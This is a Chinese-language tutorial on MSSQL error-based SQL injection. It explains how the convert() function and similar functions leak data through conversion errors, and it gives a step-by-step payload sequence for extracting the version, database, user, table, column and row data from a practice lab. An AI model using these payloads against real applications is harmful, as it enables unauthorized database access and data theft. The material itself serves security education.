------------恢复内容开始------------

------------恢复内容开始------------

报错注入:

通过mssql报错,经过人为的调控,报出payload信息

介于联合查询和盲注之间

能用联合查询就不用报错注入,能用报错注入就不用盲注

 

convert函数:

convert函数是一个日期转换函数

CONVERT(data_type(length),data_to_be_converted,style)

data_type(length) 转换的目标数据类型

data_to_be_converted  需要转换得日期

style 规定⽇期/时间的输出格式。

 

eg:

CONVERT(VARCHAR(19),GETDATE())

CONVERT(VARCHAR(10),GETDATE(),110)

CONVERT(VARCHAR(11),GETDATE(),106)

CONVERT(VARCHAR(24),GETDATE(),113)

 

报错注入原理

convert(int,@@version)   该函数的意思是将版本信息转换为int类型(@@version是输出mssql的版本信息),版本信息是字符类型,字符类型转换为int类型会报错,指出“SQL查询结果”⽆法转换为“int”类型,这样的话攻击者从报错信息中就输出了版本信息

 

其他类似的函数

convert()

file_name()

db_name()

col_name()

filegroup_name()

object_name()

schema_name()

type_name()

cast()

 

注入流程

查询基本信息

本次使用五号黯区的mssql靶场

1、convert(int,@@version)

mssql报错注入_sql

 

 将id=1中的1替换为要注入的函数,刷新

mssql报错注入_数据库_02

 

 

通过报错信息就输出了数据库的版本信息

 

2、convert(int,db_name(N)) -数据库名字(更改N值,查看第几张数据库名字,从0开始)

mssql报错注入_sql_03

 

 

 

数据库名字为test

 

 

3、convert(int,user) -当前⽤户名

mssql报错注入_表名_04

 

 

 4、convert(int,@@SERVERNAME)– 获取有关服务器主机的信息

 

mssql报错注入_sql_05

 

 

获取当前数据库的表名

CONVERT(int,(select top 1 table_name from information_schema.columns))

mssql报错注入_数据库_06

 

 

 cmd就是第一张表的表名

通过not in来查看其他表的表名

mssql报错注入_数据库_07

 

 

 

 

 

获取列名

convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制的表名 as varchar)))

要将表名cmd转换为16进制

cmd=0x636D64

convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x636D64 as varchar)))

mssql报错注入_版本信息_08

 

 列名为a

 可以通过not in来继续查看其他字段名

 

获取数据

convert(int,(select top 1 name 列名 from 表名))

 

mssql报错注入_表名_09